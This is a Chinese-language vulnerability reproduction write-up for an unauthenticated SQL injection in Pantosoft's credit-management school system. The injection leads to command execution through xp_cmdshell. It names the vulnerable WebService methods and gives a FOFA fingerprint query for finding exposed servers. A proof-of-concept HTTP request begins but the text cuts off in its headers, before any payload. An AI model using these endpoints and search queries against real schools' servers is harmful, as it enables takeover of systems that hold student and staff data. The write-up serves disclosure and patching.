学分制系统 WebService_PantoSchool SQL注入致RCE漏洞复现

0x01 产品简介

学分制系统由上海鹏达计算机系统开发有限公司研发，是基于对职业教育特点和需求的深入理解，结合教育部相关文件精神，并广泛吸纳专家、学者意见而开发的一款综合性管理系统。系统采用模块化的设计方法，方便学校根据自身教学改革特点、信息化建设进程情况选择、组合适应自身特点的管理软件。系统包含学籍管理、师资管理、教学计划管理、排课管理、选课管理、考试管理、成绩管理、实践教学管理、教学质量评价等功能模块，能够全面满足学校的教育管理需求。

0x02 漏洞概述

学分制系统 GetCalendarContentById、GetCurrentCalendar等实例处存在SQL注入漏洞，未经身份验证的远程攻击者可利用SQL注入漏洞配合数据库xp_cmdshell可以执行任意命令，从而控制服务器。经过分析与研判，该漏洞利用难度低，建议尽快修复。

0x03 复现环境

FOFA：

body="www.pantosoft.com" && body="Pantosoft Corporation" || icon_hash="-1632820573"

0x04 漏洞复现

PoC-1

POST /WebService_PantoSchool.asmx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Content-Type